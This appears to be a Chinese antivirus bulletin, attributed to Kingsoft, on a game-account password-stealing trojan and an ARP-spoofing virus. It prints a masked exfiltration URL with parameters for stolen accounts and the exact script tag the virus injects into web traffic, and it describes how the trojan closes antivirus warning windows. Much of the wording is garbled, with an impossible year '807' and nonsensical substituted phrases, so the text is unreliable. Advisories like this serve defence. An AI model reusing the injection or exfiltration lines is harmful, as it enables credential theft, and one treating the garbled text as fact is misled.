金山9.14病毒播报:征途盗号者、ARP欺骗者来袭

  • 时间:
  • 浏览:1

    北京信息安全测评中心、金山毒霸联合发布807年9月14日热门病毒。

    金山毒霸每日病毒预警

   

    "征途盗号者"(Win32.PSWTroj.OnlineGames.27136)这是有4个盗号木马

    "ARP欺骗者"(Packes.MakePE.a)这是有4个具有ARP欺骗攻击的病毒

 

    一、"征途盗号者"(Win32.PSWTroj.OnlineGames.27136) 威胁级别:★

    此病毒运行后创建注册表启动项,以达到开机运行的作用,盗取客户计算机上的网络游戏《征途》、QQ、QQ游戏的帐号信息。

  1.判断病毒文件"upxdnd.dll"否有有注入到以下线程池池运行运行:

  zhengtu.dat

  qq.exe

  qqgame.exe

  2.在客户计算机上创建事件"51343281"。

 

  3.病毒创建线程池池运行,通过查找窗口的方法关闭卡巴的警告窗口和瑞星注册表监控提示窗口。

  4.指定的接收网址:              

 hxxp://www.2**od.com/zt/get.php?srv=xx&id=xx&p=xx&s=xx&ss=xx&js=xx&gj=xx&dj=xx&yz=xx&jz=xx



    二、"ARP欺骗者"(Packes.MakePE.a)威胁级别:★★

    病毒运行总要克隆好友自身至系统文件夹,但会 释放病毒文件,生成注册表启动项以开机运行。病毒会向局域网80端口发送

病毒数据,修改网页源码,下载极少量隐蔽软件安装至用户计算机。

  1.发送 ARP 欺骗扫描局域网,劫持

172.16

192.10

10.0

开头的IP段,向发送至80端口的数据包中插入

"<script language="javascript" src="</script">http://f****t.8**0.org/ad.js"></script>"

   

    金山反病毒工程师建议

 

    1.最好安装专业的杀毒软件进行全面监控。建议用户安装反病毒软件处理日益增多的病毒,用户在安装反病毒软件事先,应该时不时进行升级、将这些主要监控时不时打开(如邮件监控)、内存监控等,遇到问提要上报, 从前也能真正保障计算机的安全。

    2.玩网络游戏、利用QQ聊天的用户会有所增多,什么都有各类盗号木马必将随之增多,建议用户一定要养成良好的网络使用习惯,及时升级杀毒软件,开启防火墙以及实时监控等功能,切断病毒传播的途径,不给病毒以可乘之机。

    金山毒霸反病毒应急中心及时进行了病毒库更新,升级毒霸到807年9月14日的病毒库即可查杀以上病毒;如未安装金山毒霸,也能登录http://www.duba.net免费下载最新版金山毒霸807或使用金山毒霸在线杀毒来处理病毒入侵,拨打金山毒霸反病毒急救电话010—82331816反病毒专家将为您提供帮助。